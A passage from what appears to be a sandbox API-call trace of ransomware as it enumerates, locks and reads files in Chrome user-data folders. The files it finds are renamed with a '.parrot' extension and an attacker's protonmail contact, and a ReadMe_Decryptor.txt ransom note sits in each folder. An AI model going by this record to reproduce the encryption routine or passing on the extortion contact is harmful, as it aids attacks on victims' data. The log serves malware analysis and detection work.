Tabs.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CURREN~2.PAR")) returned 1 [0096.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.845] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.845] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0096.846] CloseHandle (hObject=0x27c) returned 1 [0096.847] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad022580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1 [0096.847] lstrcmpW (lpString1="data_reduction_proxy_leveldb", lpString2=".") returned 1 [0096.847] lstrcmpW (lpString1="data_reduction_proxy_leveldb", lpString2="..") returned 1 [0096.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7fd8 [0096.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x668890 [0096.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x653360 | out: hHeap=0x5b0000) returned 1 [0096.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x668798 | out: hHeap=0x5b0000) returned 1 [0096.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0096.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x3162408 [0096.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.847] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.847] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.847] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad022580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.847] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.847] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.847] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80916060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0096.847] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x804795c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0096.847] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0096.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0096.848] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0x10 [0096.848] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.848] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0096.848] CloseHandle (hObject=0x270) returned 1 [0096.848] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0096.848] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xacef1a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0096.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.848] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.849] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.849] CloseHandle (hObject=0x270) returned 1 [0096.849] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0096.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.849] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.850] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.850] CloseHandle (hObject=0x270) returned 1 [0096.851] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xacef1a80, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xacef1a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.851] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.851] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad022580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad022580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.851] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80916060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0096.851] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x804795c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0096.851] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0096.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x668798 [0096.851] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0096.851] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xacef1a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0096.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.851] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.852] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.852] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad877280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad877280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.852] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.852] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.852] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad342260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000003~1.PAR")) returned 1 [0096.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.852] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.852] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.853] CloseHandle (hObject=0x270) returned 1 [0096.853] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82adc050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82adc050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0096.853] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0096.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0096.854] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0x10 [0096.854] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.854] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0096.854] CloseHandle (hObject=0x270) returned 1 [0096.854] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ad9940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0096.854] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad82afc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0096.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.854] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.854] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.855] CloseHandle (hObject=0x270) returned 1 [0096.855] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad851120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANIFE~1.PAR")) returned 1 [0096.855] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.855] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.855] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.855] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.856] CloseHandle (hObject=0x270) returned 1 [0096.856] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad4e5180, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xad4e5180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad877280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.856] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.856] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xad877280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad877280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.856] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xad342260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000003~1.PAR")) returned 1 [0096.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.857] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.857] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.857] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xae26eea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xae26eea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.857] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.857] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.857] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0cbf80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="000003~1.PAR")) returned 1 [0096.857] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.857] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.857] ReadFile (in: hFile=0x270, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0096.858] CloseHandle (hObject=0x270) returned 1 [0096.858] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824d3190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0096.858] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0096.858] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0096.858] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e390 | out: lpFileSizeHigh=0x18e390*=0x0) returned 0x10 [0096.858] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.858] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 